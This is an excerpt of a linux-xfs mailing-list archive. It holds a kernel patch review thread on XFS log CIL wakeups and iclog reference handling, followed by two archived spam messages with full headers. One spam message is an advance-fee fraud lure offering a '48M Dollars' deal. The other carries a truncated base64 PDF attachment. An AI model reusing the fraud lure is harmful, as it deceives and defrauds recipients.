MISSING! >>>> >>>> As a result, we should handle this situation in xlog_cil_committed(). >>>> >>>> Signed-off-by: Jie Liu >>>> --- >>>> fs/xfs/xfs_log_cil.c | 2 ++ >>>> 1 file changed, 2 insertions(+) >>>> >>>> diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c >>>> index 5eb51fc..8c7e9c7 100644 >>>> --- a/fs/xfs/xfs_log_cil.c >>>> +++ b/fs/xfs/xfs_log_cil.c >>>> @@ -406,6 +406,8 @@ xlog_cil_committed( >>>> >>>> spin_lock(&ctx->cil->xc_push_lock); >>>> list_del(&ctx->committing); >>>> + if (abort) >>>> + wake_up_all(&ctx->cil->xc_commit_wait); >>>> spin_unlock(&ctx->cil->xc_push_lock); >>>> >>>> xlog_cil_free_logvec(ctx->lv_chain); >>> >>> Hi Jeff, I hope you had a good break, >> Thanks :) >>> >>> So you are saying the wakeup in the CIL push error path missing? >> Yes. >> >>> I agree with that. But I don't like adding a new wake up to >>> xlog_cil_committed(), which is after the log buffer is written. > > Hi Mark, any particular reason why you don't like this? It would be > great if you could explain why you don't like something up front so > we don't have to guess at your reasons or wait for another round > trip in the conversation to find them out.... > >> IMO this callback would be called if any problem is happened before >> the log buffer is written as well, e.g, >> xlog_cil_push()->xfs_log_notify() <-- failed >> | >> |->xlog_cil_committed() > > Right, it's the generic CIL commit handler and it can be called > directly or from log IO completion. > > The question is this: it is safe to wake up waiters from log IO > completion if that is where an abort is first triggered from (i.e. > on log IO error). From what I can see, it is safe to do the wakeup > on abort because the iclog iwe attach the IO completion callback to > in xlog_cil_push() cannot be put under IO until we release the > reference gained in xfs_log_done(). > > But this raises an interesting question - the wakeup in > xlog_cil_push() is done before the log IO for the checkpoint is > complete, so the wakeup is occurring on checkpoint processing > completion, not iclog IO completion. i.e. the actual log force > sleeping still needs to wait for log IO completion to occur after > then CIL has been pushed. This occurs in the _xfs_log_force{_lsn}() > wrappers, where iclog state changes are waited for. > > Why is this important? The iclog write/flush wakeups are all done > from IO completion context, except for the force shutdown case, > which calls xlog_state_do_callback(log, XFS_LI_ABORTED, NULL); to > trigger wakeups and aborts via the log IO completion callbacks on > all the outstanding iclogs. > > IOWs, we've already got a design pattern that says: > > - run log force wakeups from IO completions > - on shutdown, run IO completions directly to abort pending > log operations > > So, really, issuing wakeups from iclog IO completion on log aborts > or errors is exactly what we currently do to ensure that shutdowns > don't leave processes waiting on log force completion behind. So > from that perspective, adding the wakeup on abort to > xlog_cil_committed() seems like the right approach to take. > > Actually, there's more issues here: xlog_cil_push() leaks a > reference to the iclog when it triggers the error path via > xfs_log_notify() failure. At this point we always need to release > the iclog. Hence if xfs_log_notify() were to always add the IO > completion to the iclog and xlog_cil_committed() issued wakeups on > abort errors, then we could completely ignore the log state in > xfs_log_notify() and have xfs_log_release_iclog() capture the IO > error and the subsequent shutdown would handle the aborts and > wakeups.... There is indeed an iclog ref leak after digging into the code. > > Hmmm, then xfs_log_notify could go away, and the callback list could > be made a lockless list and the ic_callback_lock could go away, > too.... Hence we can fold xfs_log_notify() into xlog_cil_push() directly, but am not sure I get the reason why we could make the callback list lockless: When attaching the IO completion callback to iclog, we assert the iclog state to be XLOG_STATE_ACTIVE or XLOG_STATE_WANT_SYNC, but in the other place where we also try to get the ic_callback_lock, i.e, xlog_state_do_callback(), we only perform callbacks for iclogs that in XLOG_STATE_DONE_SYNC or in XLOG_STATE_DO_CALLBACK, so they're already prevented from the potential race situations, am I understood correctly? Also, it seems like the iclog->ic_callback_tail can go away as well, since it only serves as a left value. Thanks, -Jeff From aem1@saobernardo.sp.gov.br Fri Jan 3 05:08:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=ADVANCE_FEE_2_NEW_MONEY, HTML_MESSAGE,LOTS_OF_MONEY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7C37E7F54 for ; Fri, 3 Jan 2014 05:08:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B761AC005 for ; Fri, 3 Jan 2014 03:08:31 -0800 (PST) X-ASG-Debug-ID: 1388747306-04bdf00fe246b6b0001-w1Z2WR Received: from mail.saobernardo.sp.gov.br (mail.saobernardo.sp.gov.br [187.50.39.77]) by cuda.sgi.com with ESMTP id VpIQrN8iRWOBlUDZ; Fri, 03 Jan 2014 03:08:27 -0800 (PST) X-Barracuda-Envelope-From: aem1@saobernardo.sp.gov.br X-Barracuda-Apparent-Source-IP: 187.50.39.77 Received: from localhost (localhost [127.0.0.1]) by mail.saobernardo.sp.gov.br (Postfix) with ESMTP id E1A3E5B716B; Fri, 3 Jan 2014 09:08:23 -0200 (BRST) X-Amavis-Modified: Mail body modified (using disclaimer) - mail.saobernardo.sp.gov.br X-Virus-Scanned: amavisd-new at saobernardo.sp.gov.br Received: from mail.saobernardo.sp.gov.br ([127.0.0.1]) by localhost (mail.saobernardo.sp.gov.br [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ScniTH81+O+I; Fri, 3 Jan 2014 09:08:23 -0200 (BRST) Received: from mail.saobernardo.sp.gov.br (mail.saobernardo.sp.gov.br [192.172.253.247]) by mail.saobernardo.sp.gov.br (Postfix) with ESMTP id C08535B7163; Fri, 3 Jan 2014 09:08:21 -0200 (BRST) Date: Fri, 3 Jan 2014 09:08:21 -0200 (BRST) From: =?utf-8?B?5YWI55Sf?= Wilson Sen Reply-To: =?utf-8?B?5YWI55Sf?= Wilson Sen Message-ID: <2011809018.7006017.1388747301726.JavaMail.root@saobernardo.sp.gov.br> Subject: I just hope this email is still in use MIME-Version: 1.0 X-ASG-Orig-Subj: I just hope this email is still in use Content-Type: multipart/alternative; boundary="----=_Part_7006016_1839670011.1388747301723" X-Originating-IP: [31.210.31.95] X-Mailer: Zimbra 7.2.5_GA_2906 (zclient/7.2.5_GA_2906) To: undisclosed-recipients:; X-Barracuda-Connect: mail.saobernardo.sp.gov.br[187.50.39.77] X-Barracuda-Start-Time: 1388747306 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: b51dc28f4f3fe7a6a5e7ef1752811a60-165-txt X-Barracuda-BRTS-Evidence: 81ad0a39634a7527b10df58fceb4b5ef-441-htm X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143685 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) ------=_Part_7006016_1839670011.1388747301723 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Pardon me for this unsolicited email. I am contacting you confidentially for a lucrative deal worth over 48M Dollars. I need your permission to provide details. ------=_Part_7006016_1839670011.1388747301723 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit


Pardon me for this unsolicited email. I am contacting you confidentially for a lucrative deal worth over 48M Dollars. I need your permission to provide details. 
some html text
------=_Part_7006016_1839670011.1388747301723-- From songmebd7293@sohu.com Fri Jan 3 06:16:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_FREEMAIL_DOC_PDF autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2709D7F3F for ; Fri, 3 Jan 2014 06:16:22 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A2918F804B for ; Fri, 3 Jan 2014 04:16:18 -0800 (PST) X-ASG-Debug-ID: 1388751373-04cb6c537cb83610001-w1Z2WR Received: from websmtp.sohu.com (websmtp.sohu.com [61.135.130.240]) by cuda.sgi.com with ESMTP id HleP2k5GiFgl39DM for ; Fri, 03 Jan 2014 04:16:15 -0800 (PST) X-Barracuda-Envelope-From: songmebd7293@sohu.com X-Barracuda-Apparent-Source-IP: 61.135.130.240 Received: from fmsxc (unknown [183.10.120.154]) by websmtp.sohu.com (Postfix) with ESMTPA id DB008EF00FD for ; Fri, 3 Jan 2014 20:15:38 +0800 (CST) From: =?GB2312?B?t+fqx7OkwM/Du9PQwu3Jz7vYtPCjrMv9s8HErMG8vsOhow==?= To: "linux-xfs" Subject: =?GB2312?B?ytW1vbi9vP7XysHPo6zH6+SvwMCjoQ==?= Message-ID: <201401032016136969135@sohu.com> X-ASG-Orig-Subj: =?GB2312?B?ytW1vbi9vP7XysHPo6zH6+SvwMCjoQ==?= Date: Fri, 3 Jan 2014 20:16:13 +0800 X-Mailer: Foxmail 6, 10, 201, 20 [cn] MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=dgj620_8148_339305897.824942" X-Priority: 3 X-SOHU-Antispam-Bayes: 0 X-Barracuda-Connect: websmtp.sohu.com[61.135.130.240] X-Barracuda-Start-Time: 1388751374 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143687 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This is a multi-part message in MIME format. ------=dgj620_8148_339305897.824942 Content-Type: text/plain; charset="GB2312" Content-Transfer-Encoding: base64 18rBz8frsunUxKOsuL28/g== ------=dgj620_8148_339305897.824942 Content-Type: text/plain; name="=?GB2312?B?zO+66cLX?= .pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?GB2312?B?zO+66cLX?= .pdf" JVBERi0xLjMNCiXS5dHyDQo2IDAgb2JqDQo8PCAvUHJvY1NldCBbL1BERiAvVGV4dCBdDQovRm9u dCA8PA0KL1RUMSA0IDAgUg0KL1RUMiA1IDAgUg0KPj4NCj4+DQplbmRvYmoNCjcgMCBvYmoNCjw8 L0xlbmd0aCAyNDENCi9GaWx0ZXIgL0ZsYXRlRGVjb2RlDQo+Pg0Kc3RyZWFtDQp4nHWSy2rEMAxF 94H8g5btIq1ediwYBhI/9gP+hi4KXcz/b+rMtEmmmdoYgYTuuZZ97bu59p0Btm2gCKPpG3uD+tV3 77USENSPvnsBgFeon7ck/yRPSLHo7KQFQZ1H0qRoKUhmRJtcqwsXiUgJz7/dm+RdcA8f/R6+cWIi Lk00oS5RqAk27XbskRMntOww52n1s9R8SDSrqnMjOuaW0/MB7sIKP4nnIBwLasjIyeOYI1EWLJP+ e5O9ZQpUmslb87GBxAYO6gfx3o5jUFydLIN/XJfLk4d4ShH0gxM3eP3DcA6BbWPQvZzbV7j03Tec CmpWDQplbmRzdHJlYW0NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZSAvUGFnZQ0KL1BhcmVudCAx IDAgUg0KL1Jlc291cmNlcyA2IDAgUg0KL0NvbnRlbnRzIFs3IDAgUl0NCi9NZWRpYUJveCBbMCAw IDU5NSA4NDJdDQo+Pg0KZW5kb2JqDQo4IDAgb2JqDQo8PC9DcmVhdG9yIChBZG9iZSBJbGx1c3Ry YXRvciAxMC4wMS4xKQ0KL0NyZWF0aW9uRGF0ZSAoRDoyMDE0MDEwMzIwMTU1MikNCi9Qcm9kdWNl ciAoQWRvYmUgUERGIGxpYnJhcnkgNS4wMCkNCi9BdXRob3IgKCkNCi9UaXRsZSAottTT2r/Jwt7A 77OkwM/V4tH5tcS3tNOmo6zE4dDx09C147K7w/ew16Ossru5/aOsxOHQ8ci0sru08svjuf3OyqOs y/vWqrXAo6zX1Ly61rvKx7/Jwt7A77OkwM+1xNK7zPW5t6Osy/u4+bG+vs3Du9PQ1qq1wNLy08m1 xLHY0qqhoykNCi9TdWJqZWN0IChOb25lKQ0KL0tleXdvcmRzICgpDQo+Pg0KZW5kb2JqDQo5IDAg b2JqDQo8PCAvUHJvY1NldCBbL1BERiBdDQo+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlIC9Y T2JqZWN0DQovU3VidHlwZSAvRm9ybQ0KL1Jlc291cmNlcyA5IDAgUg0KL01hdHJpeCBbMSAwIDAg MSAwIDAgXQ0KL0JCb3ggWzAgMCAxMCAzNzNdDQovTGVuZ3RoIDE0DQovRmlsdGVyIC9GbGF0ZURl Y29kZQ0KPj4NCnN0cmVhbQ0KeJwr5OUK5OUCAAQsAPENCmVuZHN0cmVhbQ0KZW5kb2JqDQoxIDAg b2JqDQo8PC9UeXBlIC9QYWdlcw0KL0tpZHMgWw0KMiAwIFINCl0NCi9Db3VudCAxDQo+Pg0KZW5k b2JqDQoxMCAwIG9iag0KPDwvVHlwZSAvQ2F0YWxvZw0KIC9QYWdlcyAxIDAgUg0KL1BhZ2VMYXlv dXQgL1NpbmdsZVBhZ2UNCi9QYWdlTW9kZSAvVXNlTm9uZQ0KPj4NCmVuZG9iag0KMTEgMCBvYmoN Cjw8L0ZpbHRlciAvRmxhdGVEZWNvZGUgL0xlbmd0aCAyNzIzIC9MZW5ndGgxIDQ1MzUNCj4+DQpz dHJlYW0NCnja7VdrcBvVFT533yvtane12tVaq6flWLIcRYofMk5CI0PMYB7FhLQkKZpgQl7FIYoT SpJmSmZIgEIpKTOBZjKl6RQwgSmJA8amYSC0pqQ0DAEySUlNQ8sUKB1P+dN2ho6rnispLyjT/u20 q7l7z7l3V/eeb79zzj1AAECBbcCCvnztQNnoC5s4chSAlJd/Y2Nc1NhPAJh52F5cWV61NvKjBz8C 4D7FZ9RVg5tXztkTiAHwIoD819UrBm7e8tinOOebxvnCahxgyPVLAbR21JtWr924absWeAv161G/ aHDd8gHpEc8bqD+AenTtwKby4j52Heo/QT1+68DaFad+e3oT6q/jfrjyug0bH/I8uQxAfxPnO8pD K8qnRq7BvRo86gexMUDtAQigPSiREDYB/u3FnK+waB8viJLsAa/yBS+o8N91cbCo+p2VqqlxyEIB uuHaSqWu5eEiqlV+XzlROV55u/JCHcdzALH4HzwIIIIEMiA0oFT+f/1PX/AU8qKMjav8o3IadQG5 4UGO+UAHP/qgDQ6EIAxROvKF8/jEf7BWFH+/RCaG8cdUPoavQDty9mX8vyJ0wcXQBvNgsvIuXA9X Izdj1fYgzmzBHQ7COmR5HFeyq3ugTTuQnnnlwsW9C9xEYkkW6S7BErgdbkKim4eAkAaMHF8aYSE3 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 pyOdS+eymWSTLCKsjOIVDFof1mq/5164dmSZNu8v4K1VPfumalXP8+9+/XsAlUmowG+q5VOtTqQP TeJoU71GqnymWML69wJtG54tt1WL7Ag2FZuGTa73dNxbb9LZdyy4FZ4m7eTn5ENmFfM3doTr5/5e XcdH1mKirxVlOsauFtzQAHmz/p4HvlXfDT3WQV1msGzj6zI95Cl1mZZzRl1m8cDs0LKZk3HEg0fn msygNT11mcPxa+qygONL6jKLHraqZ2jNwODCFatuGxwYqsrV29WLBgf7F1w2uOamOfHqwOdq0x4M CmtgAE/pC2EFrILbUBrAsXPj56SrsY4dxF8/LIDLsF+DB/Y5eLI/98SZWr6Sgoe+oBSmsDCwQB5Y uWbN7Hy+0NkTIgbRsYRIEx2PUWnstXqvEBUXShO1rvtQd2rjz1yW7ifjpLLjfogcaMNa4sC2yJJx IvSuxltyAR5KqcRRia9KvTeiRFXmrMpQlaUqQ1WWqnB2FqhKqApUJckFpLV2/RPTwNDMDQplbmRz dHJlYW0NCmVuZG9iag0KMTIgMCBvYmoNCjw8L1R5cGUgL0ZvbnREZXNjcmlwdG9yDQovQXNjZW50 IDg1OQ0KL0NhcEhlaWdodCA2NjYNCi9EZXNjZW50IC0xNDENCi9GbGFncyAzMg0KL0ZvbnRCQm94 IFswIC0xNDEgOTk2IDg1NV0NCi9Gb250TmFtZSAvy87M5Q0KL0l0YWxpY0FuZ2xlIDANCi9TdGVt ViA4Nw0KL0ZvbnRGaWxlMiAxMSAwIFINCj4+DQplbmRvYmoNCjQgMCBvYmoNCjw8L1R5cGUgL0Zv bnQNCi9TdWJ0eXBlIC9UcnVlVHlwZQ0KL0Jhc2VGb250IC/LzszlDQovRmlyc3RDaGFyIDMyDQov TGFzdENoYXIgODENCi9FbmNvZGluZyAvV2luQW5zaUVuY29kaW5nDQovRm9udERlc2NyaXB0b3Ig MTIgMCBSDQovV2lkdGhzIFs1MDAgDQowIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCA1MDAgMCAwIDUw MCANCjUwMCA1MDAgNTAwIDUwMCA1MDAgNTAwIDAgNTAwIDUwMCAwIDAgMCAwIDAgMCAwIA0KMCAw IDAgMCAwIDAgMCAwIDAgMCAwIDAgMCAwIDAgMCANCjUwMCBdDQo+Pg0KZW5kb2JqDQoxMyAwIG9i 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 